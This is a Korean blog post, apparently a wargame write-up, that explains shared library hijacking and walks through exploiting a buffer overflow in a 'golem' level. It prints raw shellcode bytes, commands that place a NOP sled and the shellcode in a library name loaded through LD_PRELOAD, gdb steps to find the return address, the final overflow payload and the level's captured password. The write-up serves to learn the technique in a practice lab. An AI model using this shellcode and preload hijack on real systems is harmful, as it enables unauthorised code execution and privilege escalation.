심심해서 하는 블로그 :: 'shared library hijacking' 태그의 글 목록

'shared library hijacking'에 해당되는 글 1건

1. 취약점



ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 아오 너무하시네 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

이번에는 사실상 Return Address 빼고 0으로 초기화시켜버리는 강력한 녀석이 등장했다.. 

나 혼자 고민하다가는 산으로 가겠다 싶어서 주변사람들의 도움을 통해서  Shared library Hijacking 기법을 이용하면 된다는 것을 알았다.


공유 라이브러리

공유 라이브러리는 함수나 변수들을 프로그램이 시작하기 전에 로드하여 필요로 할 때마다 연동이 되는 동적 라이브러리이다. 상대적인 개념은 정적 라이브러리인데 함수를 사용하기 위한 라이브러리를 실행 프로그램과 통합하여 컴파일 되거나 런타임 시에 메모리에 올라온 실행 파일의 주소 공간에 같이 로드된다.

따라서 공유 라이브러리는 좀 더 융통성이 있지만 쉽게 접근 할 수 있도록 짜여 보안에 문제가 발생한다. 


Shared library Hijacking

정상적인 프로그램의 실행시에 어떤 심볼이 있을 때 공유 라이브러리에 가서 함수나 변수의 정보를 얻어온다.

이걸 악용하여 공격자는 자신 만의 공유 라이브러리를 생성하고 정상적인 루트가 아닌 자신이 만든 공유 라이브러리를 참조하도록 한다. 이러한 공격방식을 Shared library Hijacking이라고 한다.



2. Exploit

0. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3


1. bash2를 사용하고 공유 라이브러리를 위한 c파일을 생성한다.  

$ bash2

$ vi ./lib_attack.c

lib_attack.c의 내용 


2.  gcc로 lib_attack.c를 컴파일한다. 

$ gcc lib_attack.c -fPIC -shared -o `perl -e 'print "A", "\x90"x50, "[ 쉘코드]"'`

-shared 옵션 : 공유 라이브러리를 우선적으로 링크하는 옵션

-fPIC 옵션 : 오브젝트파일 생성시에 심볼들이 어느 위치에 있어도 동작하도록 하는 옵션


3.  환경변수를 export 한다

$ export LD_PRELOAD="`perl -e 'print "/home/skeleton/", "A" "\x90"x50, "[쉘코드]"'`

LD_PRELOAD : 사용자가 원하는 공유 라이브러리를 우선적으로 등록하는 프로그램의 경로

   현재는 작성한 공격 라이브러리를 우선적으로 사용하게 한다. 


4. 디버깅하여 이 라이브러리가 올라간 주소를 확인한다.

$ cp ./golem.c /tmp/golem.c && cd /tmp

$ gcc -g -o ./golem.c

$ gdb -q ./golem 

(gdb) b *main+163

(gdb) r `perl -e 'print "A"x44, "\xbf"x4'`

(gdb) x/1000x $esp-5000



휴.. 찾았다... 새로운 Return Address는 "0xbffff628"으로 하자


5. 고생했다.. 괴롭히자

$ cd ~

$ ./golem `perl -e 'print "A"x44, "\x28\xf6\xff\xbf"'`



6. 결과

   id :  golem   passwd : cup of coffee

   새로운 기법을 체험할 수 있는 좋은 기회였다..ㅠㅠ 


7. 참고 사이트 : http://sosal.tistory.com/125 

                     http://inhack.org/wordpress/?p=1833

 

,